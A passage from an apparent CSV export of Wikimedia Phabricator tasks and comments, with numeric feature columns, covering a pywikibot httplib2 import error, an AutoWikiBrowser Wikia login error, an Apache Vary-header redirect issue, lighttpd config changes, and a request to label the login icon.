+```",Low,25.0,1431795434,1431795798.0,PHID-USER-xezsyhikbr7hjrig2ofp,False,PHID-USER-xezsyhikbr7hjrig2ofp,False,PHID-TASK-fvuf2va7ohlkac5lfy7d,task_description,invalid,True,c3,1,True,True,True,-7,True,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,1,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,1
+609906,httplib2 0.6.0 is required,Done: T126880,,,1455389168,,PHID-USER-xvs3y6hf6yrfn6sxrk5d,False,,,PHID-TASK-fvuf2va7ohlkac5lfy7d,task_subcomment,,True,c3,3,True,,,32,True,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,0,1,0,1,1,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0
+609898,httplib2 0.6.0 is required,"Very odd. Try removing the directory and re-installing from a nightly: http://tools.wmflabs.org/pywikibot/core_stable.zip
+
+If the problem persists, please create a //new// task, and please add the output of 
+
+```
+pwb.py version
+```
+
+therein.",,,1455387375,,PHID-USER-muirnivxp5hzppn2a3z7,False,,,PHID-TASK-fvuf2va7ohlkac5lfy7d,task_subcomment,,True,c3,3,True,,,32,True,0,0,1,0,0,1,0,0,0,1,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,1,0,0,0,0,1,1,0,0,1,0,0,0,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,1,0,1,1,1,1,0,0,0,0,1,1,0,0,0,1,1,0,0,0,0,1,0,1,0,1,0,0,0
+609895,httplib2 0.6.0 is required,"```
+C:\PWB>pwb.py generate_user_files
+NOTE: 'user-config.py' was not found!
+WARNING: Running on Windows and transliteration_target is not set.
+Please see https://www.mediawiki.org/wiki/Special:MyLanguage/Manual:Pywikibot/Windows
+Unknown arguments: generate_user_files
+
+C:\PWB>
+
+```
+Regards.",,,1455386975,,PHID-USER-xvs3y6hf6yrfn6sxrk5d,False,,,PHID-TASK-fvuf2va7ohlkac5lfy7d,task_subcomment,,True,c3,3,True,,,32,True,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,1,1,0,1,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,1,1,0,1,0,0,0,1,0,1,1,0,0,0,1,1,0,1,0,0,1,0,0,0,1,0,0,1
+609894,httplib2 0.6.0 is required,Try `pwb.py generate_user_files` ?,,,1455386626,,PHID-USER-muirnivxp5hzppn2a3z7,False,,,PHID-TASK-fvuf2va7ohlkac5lfy7d,task_subcomment,,True,c3,3,True,,,32,True,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,1
+609892,httplib2 0.6.0 is required,I'm getting this with `generate_user_files.py`. Any idea how to solve it? (I have latests Pywiki and Python versions installed). Thanks.,,,1455386444,,PHID-USER-xvs3y6hf6yrfn6sxrk5d,False,,,PHID-TASK-fvuf2va7ohlkac5lfy7d,task_subcomment,,True,c3,3,True,,,32,True,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,1,0,0,1,0,1,0,0,0,1,1,0,0,0,0,0,1,0,1,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,1,0,0,0,0,0,0,1,0,0,1,0,1,1,1,1,0,0,0,0,1,0,1,0,1,1,1,1,0,0,1,0,1,0,0,1,0,0,0
+459845,httplib2 0.6.0 is required,"The error comes from `pywikibot/comms/http.py`:
+
+```
+# Verify that a working httplib2 is present.
+try:
+    import httplib2
+except ImportError:
+    print(""Error: Python module httplib2 >= 0.6.0 is required."")
+    sys.exit(1)
+```
+",,,1431795797,,PHID-USER-muirnivxp5hzppn2a3z7,False,,,PHID-TASK-fvuf2va7ohlkac5lfy7d,task_subcomment,,True,c3,1,True,,,-7,True,0,0,0,1,0,1,1,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,1,0,0,0,0,0,1,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,1,0,1,0,0,0,1,1,0,1,0,0,1,1,0,1,0,0,1,0,1,0,1,0,0,1
+459843,httplib2 0.6.0 is required,"Try
+
+```
+import pwb
+```
+
+before the `import pywikibot` to make pwb.py patch up your sys.path.",,,1431795753,,PHID-USER-muirnivxp5hzppn2a3z7,False,,,PHID-TASK-fvuf2va7ohlkac5lfy7d,task_subcomment,,True,c3,1,True,,,-7,True,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,1,0,0,0,1,1,1,0,0,0,1,0,0,0,0,0,0,0,1
+99270,[Migrated] Wikia: ApiErrorException in ApiEdit.CheckForErrors (The login module requires a POST request) (Wikia config?),"//[[https://en.wikipedia.org/wiki/Special:Contributions/92.137.107.192|92.137.107.192]] ([[ https://en.wikipedia.org/wiki/User talk:92.137.107.192|talk]]) 15:24, 17 June 2013 (UTC) wrote://
+
+**Exception:**
+```
+ApiErrorException
+```
+**Message:**
+```
+Bot API returned the following error: 'The login module requires a POST request'
+```
+**Call stack:**
+
+```
+   à WikiFunctions.API.ApiEdit.CheckForErrors(String xml, String action)
+   à WikiFunctions.API.ApiEdit.Login(String username, String password, String domain)
+   à WikiFunctions.Profiles.AWBProfilesForm.PerformLogin(String username, String password)
+```
+----
+
+**OS:** Microsoft Windows NT 6.2.9200.0
+**Version:** AutoWikiBrowser (5.5.0.2), WikiFunctions (5.5.0.2), revision 9117 (2013-04-30 20:44:43)<br>AutoWikiBrowser (5.5.5.0), WikiFunctions (5.5.5.0), revision 10470 (2014-09-22 01:51:36)
+**NET:** 2.0.50727.6400
+**Site:** http://dc-comics.wikia.com",Low,25.0,1431717107,1437066442.0,PHID-USER-4j7xntcqqwei7izzlfnd,False,PHID-USER-4j7xntcqqwei7izzlfnd,False,PHID-TASK-ytkfr5krtzfrl6be4oav,task_description,duplicate,True,c3,1,True,True,True,-7,True,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,0,0,1,0,0,0,1,0,1,0,0,1,0,1,0,1,0,0,1
+492488,[Migrated] Wikia: ApiErrorException in ApiEdit.CheckForErrors (The login module requires a POST request) (Wikia config?),"@Magioladitis (ignoring my first 2 lines above) Please use the 'Merge In' feauture, for easier navigation, or something? Just a tip :)",,,1437066489,,PHID-USER-4j7xntcqqwei7izzlfnd,False,,,PHID-TASK-ytkfr5krtzfrl6be4oav,task_subcomment,,True,c3,3,True,,,2,True,0,1,0,0,0,1,0,0,0,0,1,0,0,0,0,1,0,1,1,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,1,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,1,1,0,1,0,0,1,1,1,0,1,1,1,1,1,1,1,0,0,1,0,1,1,0,0
+492486,[Migrated] Wikia: ApiErrorException in ApiEdit.CheckForErrors (The login module requires a POST request) (Wikia config?),Re-opening to test a Phabrcator-thing.,,,1437066393,,PHID-USER-4j7xntcqqwei7izzlfnd,False,,,PHID-TASK-ytkfr5krtzfrl6be4oav,task_subcomment,,True,c3,3,True,,,2,True,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,1,0,0,0,0,1,1,0,0,0,0,0,0,1,0,1,0,0,0
+492443,[Migrated] Wikia: ApiErrorException in ApiEdit.CheckForErrors (The login module requires a POST request) (Wikia config?),Duplicate of https://phabricator.wikimedia.org/T105160,,,1437063514,,PHID-USER-juznrlc2myguw74yvjkn,False,,,PHID-TASK-ytkfr5krtzfrl6be4oav,task_subcomment,,True,c3,3,False,,,2,True,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,1,0,0,0,0,0,0,0
+459450,[Migrated] Wikia: ApiErrorException in ApiEdit.CheckForErrors (The login module requires a POST request) (Wikia config?),"//[[https://en.wikipedia.org/wiki/User:Darots|Darots]] ([[https://en.wikipedia.org/wiki/User talk:Darots|talk]]) 03:11, 22 January 2015 (UTC) wrote://
+
+**Exception:**
+
+```
+ApiErrorException
+```
+**Message:**
+
+```
+Bot API returned the following error: 'The login module requires a POST request'
+```
+**Call stack:**
+
+```
+   en WikiFunctions.API.ApiEdit.CheckForErrors(String xml, String action)
+   en WikiFunctions.API.ApiEdit.Login(String username, String password, String domain)
+   en WikiFunctions.Profiles.AWBProfilesForm.PerformLogin(String username, String password)
+```
+----
+
+**OS:** Microsoft Windows NT 6.1.7601 Service Pack 1
+**Version:** AutoWikiBrowser (5.5.6.0), WikiFunctions (5.5.6.0), revision 10538 (2014-12-23 21:37:52)
+**NET:** 2.0.50727.5485
+**Site:** http://losjuegosdelhambre.wikia.com",,,1431720189,,PHID-USER-4j7xntcqqwei7izzlfnd,False,,,PHID-TASK-ytkfr5krtzfrl6be4oav,task_subcomment,,True,c3,1,True,,,-7,True,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,0,0,1,0,0,0,1,0,1,0,0,1,0,1,0,1,0,0,1
+459449,[Migrated] Wikia: ApiErrorException in ApiEdit.CheckForErrors (The login module requires a POST request) (Wikia config?),"//[[https://en.wikipedia.org/wiki/User:Darots|Darots]] ([[https://en.wikipedia.org/wiki/User talk:Darots|talk]]) 03:11, 22 January 2015 (UTC) wrote://
+
+```
+**Exception:**
+
+```
+ApiErrorException
+```
+**Message:**
+
+```
+Bot API returned the following error: 'The login module requires a POST request'
+```
+**Call stack:**
+
+```
+   en WikiFunctions.API.ApiEdit.CheckForErrors(String xml, String action)
+   en WikiFunctions.API.ApiEdit.Login(String username, String password, String domain)
+   en WikiFunctions.Profiles.AWBProfilesForm.PerformLogin(String username, String password)
+```
+----
+
+**OS:** Microsoft Windows NT 6.1.7601 Service Pack 1
+**Version:** AutoWikiBrowser (5.5.6.0), WikiFunctions (5.5.6.0), revision 10538 (2014-12-23 21:37:52)
+**NET:** 2.0.50727.5485
+**Site:** http://losjuegosdelhambre.wikia.com",,,1431720176,,PHID-USER-4j7xntcqqwei7izzlfnd,False,,,PHID-TASK-ytkfr5krtzfrl6be4oav,task_subcomment,,True,c3,1,True,,,-7,True,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,0,0,1,0,0,0,1,0,1,0,0,1,0,1,0,1,0,0,1
+459403,[Migrated] Wikia: ApiErrorException in ApiEdit.CheckForErrors (The login module requires a POST request) (Wikia config?),"//[[https://en.wikipedia.org/wiki/User:Darots|Darots]] ([[https://en.wikipedia.org/wiki/User talk:Darots|talk]]) 03:11, 22 January 2015 (UTC) wrote://
+
+```
+<table><tr><td>Exception:<td><code>ApiErrorException</code><tr><td>Message:<td><code>Bot API returned the following error: 'The login module requires a POST request'</code><tr><td>Call stack:<td><pre>   en WikiFunctions.API.ApiEdit.CheckForErrors(String xml, String action)
+   en WikiFunctions.API.ApiEdit.Login(String username, String password, String domain)
+   en WikiFunctions.Profiles.AWBProfilesForm.PerformLogin(String username, String password)</pre></tr>
+</table>
+WikiFunctions.API.ApiErrorException: Bot API returned the following error: 'The login module requires a POST request'
+   en WikiFunctions.API.ApiEdit.CheckForErrors(String xml, String action)
+   en WikiFunctions.API.ApiEdit.Login(String username, String password, String domain)
+   en WikiFunctions.Profiles.AWBProfilesForm.PerformLogin(String username, String password)
+```
+**OS:** Microsoft Windows NT 6.1.7601 Service Pack 1
+**Version:** AutoWikiBrowser (5.5.6.0), WikiFunctions (5.5.6.0), revision 10538 (2014-12-23 21:37:52)
+**NET:** 2.0.50727.5485
+**Site:** http://losjuegosdelhambre.wikia.com",,,1431717479,,PHID-USER-4j7xntcqqwei7izzlfnd,False,,,PHID-TASK-ytkfr5krtzfrl6be4oav,task_subcomment,,True,c3,1,True,,,-7,True,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,0,0,1,0,0,0,1,0,1,0,0,1,0,1,0,1,0,0,1
+459402,[Migrated] Wikia: ApiErrorException in ApiEdit.CheckForErrors (The login module requires a POST request) (Wikia config?),"//[[https://en.wikipedia.org/wiki/User:Magioladitis|Magioladitis]] ([[https://en.wikipedia.org/wiki/User talk:Magioladitis|talk]]) 16:37, 10 December 2014 (UTC) wrote://
+
+In AutoWikiBrowser (5.5.5.0), WikiFunctions (5.5.5.0), revision 10470 (2014-09-22 01:51:36) again.",,,1431717395,,PHID-USER-4j7xntcqqwei7izzlfnd,False,,,PHID-TASK-ytkfr5krtzfrl6be4oav,task_subcomment,,True,c3,1,True,,,-7,True,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,1,0,0,0,0,0,0,1
+459401,[Migrated] Wikia: ApiErrorException in ApiEdit.CheckForErrors (The login module requires a POST request) (Wikia config?),"//[[https://en.wikipedia.org/wiki/User:Magioladitis|Magioladitis]] ([[https://en.wikipedia.org/wiki/User talk:Magioladitis|talk]]) 20:25, 8 August 2014 (UTC) wrote://
+
+In http://wici.porth.ac.uk too and version 5.5.3.0",,,1431717360,,PHID-USER-4j7xntcqqwei7izzlfnd,False,,,PHID-TASK-ytkfr5krtzfrl6be4oav,task_subcomment,,True,c3,1,True,,,-7,True,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,1,0,0,0,0,0,0,1
+459400,[Migrated] Wikia: ApiErrorException in ApiEdit.CheckForErrors (The login module requires a POST request) (Wikia config?),"//[[https://en.wikipedia.org/wiki/User:Magioladitis|Magioladitis]] ([[https://en.wikipedia.org/wiki/User talk:Magioladitis|talk]]) 20:24, 8 August 2014 (UTC) wrote://
+
+Bug reported in http://wiki.openstreetmap.org too.",,,1431717321,,PHID-USER-4j7xntcqqwei7izzlfnd,False,,,PHID-TASK-ytkfr5krtzfrl6be4oav,task_subcomment,,True,c3,1,True,,,-7,True,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,1,0,0,0,0,0,0,1
+459399,[Migrated] Wikia: ApiErrorException in ApiEdit.CheckForErrors (The login module requires a POST request) (Wikia config?),"//[[https://en.wikipedia.org/wiki/User:Magioladitis|Magioladitis]] ([[https://en.wikipedia.org/wiki/User talk:Magioladitis|talk]]) 09:11, 9 August 2013 (UTC) wrote://
+
+@Reedy sent a message to Wikia complaining about the bug.",,,1431717243,,PHID-USER-4j7xntcqqwei7izzlfnd,False,,,PHID-TASK-ytkfr5krtzfrl6be4oav,task_subcomment,,True,c3,1,True,,,-7,True,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,0,0,1,0,0,1,1,0,0,1,0,1,0,1,0,1,0,0,1
+459397,[Migrated] Wikia: ApiErrorException in ApiEdit.CheckForErrors (The login module requires a POST request) (Wikia config?),"//[[https://en.wikipedia.org/wiki/User:Magioladitis|Magioladitis]] ([[https://en.wikipedia.org/wiki/User talk:Magioladitis|talk]]) 08:52, 9 August 2013 (UTC) wrote://
+
+Bug confirmed in AutoWikiBrowser (5.5.1.3), WikiFunctions (5.5.1.3), revision 9391 (2013-08-09 10:19:33).",,,1431717170,,PHID-USER-4j7xntcqqwei7izzlfnd,False,,,PHID-TASK-ytkfr5krtzfrl6be4oav,task_subcomment,,True,c3,1,True,,,-7,True,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,1,0,0,0,0,0,0,1
+98990,HTTP->HTTPS redirects need to unconditional send Vary header,"HTTP->HTTPS redirects need to unconditional send Vary header instead of only sending it in the redirect case.
+E.g. operations/puppet.git/templates/apache/sites/gdash.wikimedia.org.erb
+Has: `Header always merge Vary X-Forwarded-Proto env=ProtoRedirect`
+But should instead be: `Header always merge Vary X-Forwarded-Proto` (and `,E=ProtoRedirect` from the rewrite rule can be dropped)
+Otherwise requesting https://gdash.wikimedia.org will populate the varnish cache also for http://gdash.wikimedia.org which then won't serve the redirect until it is refreshed.
+
+There are probably more instances of this error.",Low,25.0,1431540849,1464730850.0,PHID-USER-mdihg2tyzmlvyhn3h32y,False,PHID-USER-lhtlnmkdbzlz6pbxaqdd,False,PHID-TASK-7ma7vkyjskxesw3gkkwo,task_description,declined,True,c3,1,True,False,False,-8,True,0,0,0,1,1,1,1,0,0,0,1,1,0,1,1,0,0,1,1,0,1,1,0,0,0,0,0,0,1,1,0,1,0,1,0,0,0,0,0,1,0,0,0,1,0,0,0,0,0,1,0,1,0,1,0,0,0,0,1,0,0,1,0,0,0,0,0,1,1,1,0,1,1,0,0,0,0,1,0,0,0,1,1,1,0,0,0,1,1,1,0,0,1,1,0,1
+671888,HTTP->HTTPS redirects need to unconditional send Vary header,Varnish is now doing all the redirects directly rather than the applayer.,,,1464730850,,PHID-USER-lhtlnmkdbzlz6pbxaqdd,False,,,PHID-TASK-7ma7vkyjskxesw3gkkwo,task_subcomment,,True,c3,3,True,,,47,True,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0
+98818,Deprecate #no-default-php in .lighttpd.conf,"Is suggested for use by people who don't want lighttpd to load up php by default. We should just migrate these folks to more specific-to-their-toolset servers, or provide a no-php variant of lighttpd. ",Low,25.0,1431397632,1461839004.0,PHID-USER-2nnm76h4ykalvvref2ye,False,PHID-USER-2nnm76h4ykalvvref2ye,False,PHID-TASK-sofnoviahvmyn4ycoyci,task_description,resolved,True,c3,1,True,True,False,-8,True,0,0,0,1,1,1,0,0,0,0,0,1,0,0,0,1,0,1,1,0,1,1,0,0,0,0,0,0,0,0,0,1,0,0,1,0,0,0,1,1,0,1,0,0,1,0,0,0,0,1,0,1,0,1,0,0,0,0,0,0,0,1,0,0,0,1,0,1,1,1,0,1,1,0,0,0,0,1,0,0,0,1,1,0,0,0,0,1,0,1,1,0,0,1,0,0
+653393,Deprecate #no-default-php in .lighttpd.conf,This is done.,,,1461839004,,PHID-USER-2nnm76h4ykalvvref2ye,False,,,PHID-TASK-sofnoviahvmyn4ycoyci,task_subcomment,,True,c3,3,True,,,43,True,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,1,1,0,1,1,0,0,0,0,0,0,0,0,1,1,0,0,0,0,1,0,1,1,0,1,0,0,0
+647705,Deprecate #no-default-php in .lighttpd.conf,I just converted 'static' to lighttpd-plain and it seems to work well. Should be the same for the rest.,,,1461022798,,PHID-USER-2nnm76h4ykalvvref2ye,False,,,PHID-TASK-sofnoviahvmyn4ycoyci,task_subcomment,,True,c3,3,True,,,41,True,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,1,0,1,1,0,1,1,0,0,1,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,1,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,1,0,1,1,0,0,0,0,1,0,0,0,1,1,0,0,1,0,1,0,0,0,0,0,0,0,0
+458993,Deprecate #no-default-php in .lighttpd.conf,"Change 210833 merged by jenkins-bot:
+Add lighttpd server types
+
+[[https://gerrit.wikimedia.org/r/210833]]",,,1431639706,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-sofnoviahvmyn4ycoyci,task_subcomment,,True,c3,1,False,,,-7,True,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,1,0,0,0,0,0,0,1
+458571,Deprecate #no-default-php in .lighttpd.conf,"Change 210833 had a related patch set uploaded (by Yuvipanda):
+Add lighttpd server types
+
+[[https://gerrit.wikimedia.org/r/210833]]
+",,,1431563622,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-sofnoviahvmyn4ycoyci,task_subcomment,,True,c3,1,False,,,-7,True,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,1,0,1,0,0,0,0,1
+457352,Deprecate #no-default-php in .lighttpd.conf,"5 tools use this currently:
+```
+./directory/.lighttpd.conf:#no-default-php
+./static/.lighttpd.conf:#no-default-php
+./newwebtest/.lighttpd.conf:#no-default-php
+./enwp10/.lighttpd.conf:#no-default-php
+./kmlexport/.lighttpd.conf:#no-default-php```",,,1431397941,,PHID-USER-2nnm76h4ykalvvref2ye,False,,,PHID-TASK-sofnoviahvmyn4ycoyci,task_subcomment,,True,c3,1,True,,,-8,True,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,1
+113927,"Add the word ""login"" to all Phabricator pages","It took me 10 minutes to find where to login. I almost gave up. I scrolled up and down the Phabricator task page I happened to be on. I went to the Phabricator home page. I clicked many buttons and links on the page. Finally, I clicked the arrow at the top right, and was able to login. None of the icons at the top of Phabricator pages have tooltips. See related task: T95233 ""Most of the VE editing toolbar buttons are unlabeled icons, which can reduce usability. Some are without tooltips, too."" ",Lowest,10.0,1443428141,1485430148.0,PHID-USER-ebwxbdwkoxprr4cvvjvy,False,PHID-USER-hgn5uw2jafgjgfvxibhh,True,PHID-TASK-sp47zguluuzvvmmqb24z,task_description,duplicate,True,c3,3,False,False,False,12,True,1,0,0,0,0,1,1,0,0,0,0,0,0,1,0,1,0,1,1,1,1,0,0,0,1,1,0,0,1,0,1,1,1,1,0,0,0,1,1,0,0,0,0,1,0,1,0,0,0,1,0,0,1,1,0,0,0,1,1,0,0,0,0,0,0,0,1,1,1,1,1,1,1,0,0,0,0,1,0,1,0,1,1,1,0,1,0,1,0,1,0,1,1,0,1,0
+798139,"Add the word ""login"" to all Phabricator pages","This was fixed in https://secure.phabricator.com/T11096 and deployed on 2017-01-25.
+Merging into T87552.",,,1485430134,,PHID-USER-hgn5uw2jafgjgfvxibhh,False,,,PHID-TASK-sp47zguluuzvvmmqb24z,task_subcomment,,True,c3,3,True,,,82,True,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,1,1,0,1,1,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,1,0,0,0,1,0,0,0
+549573,"Add the word ""login"" to all Phabricator pages","I also had a few moments of confusion today while trying to log in here - I didn't recognize that top-right icon as a ""login"" icon. I'd support adding a little text ""Login"" label next to this icon. I generally find that labeled icons are more accessible and user-friendly than unlabeled icons, helping a broader variety of users find what they need more quickly. Thanks!",,,1445410746,,PHID-USER-ao22hbgft6xkmald6n5o,False,,,PHID-TASK-sp47zguluuzvvmmqb24z,task_subcomment,,True,c3,3,False,,,15,True,1,0,0,0,1,1,1,0,0,0,1,1,0,0,0,1,0,1,1,0,1,0,1,0,1,0,0,0,0,1,0,1,1,0,1,0,0,0,0,0,0,1,1,1,0,0,0,0,1,1,1,1,0,1,0,0,0,1,0,1,1,0,0,1,0,0,1,1,1,1,1,1,1,0,0,1,0,1,0,0,0,1,1,1,0,1,0,1,0,1,1,0,1,1,0,0
+537009,"Add the word ""login"" to all Phabricator pages",">>! In T113927#1683850, @Timeshifter wrote:
+> I suggest spending a few million dollars and creating a new bug filing system based on MediaWiki
+
+Feel free to do that. :) But that might be T29852 instead...",,,1443521009,,PHID-USER-hgn5uw2jafgjgfvxibhh,False,,,PHID-TASK-sp47zguluuzvvmmqb24z,task_subcomment,,True,c3,3,True,,,12,True,1,0,0,1,0,1,0,0,0,0,1,0,0,0,0,1,0,1,1,0,1,0,0,0,1,0,0,0,1,0,0,1,1,0,1,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,1,0,1,0,0,1,0,0,0,0,0,0,1,1,1,0,1,1,0,1,1,0,1,0,1,0,1,1,1,0,0,1,1,0,0,1,0,1,0,0,1
+536885,"Add the word ""login"" to all Phabricator pages","Every little added step of difficulty and annoyance causes both short and longterm editors to leave Wikipedia, or to edit less. Thus the continuing decline in total monthly edits, and stagnation or decline in the number of active editors. 
+
+I read T87552. I am surprised that no one suggested the obvious; use the word ""login"" instead of an icon. There are many features on many sites that I have stopped using because of this tendency to substitute icons for text links. I just don't have the time to learn and relearn icons and formatting languages. Such as this latest formatting language in these comment forms. Took me long enough to learn a bit about Bugzilla comment formatting. 
+
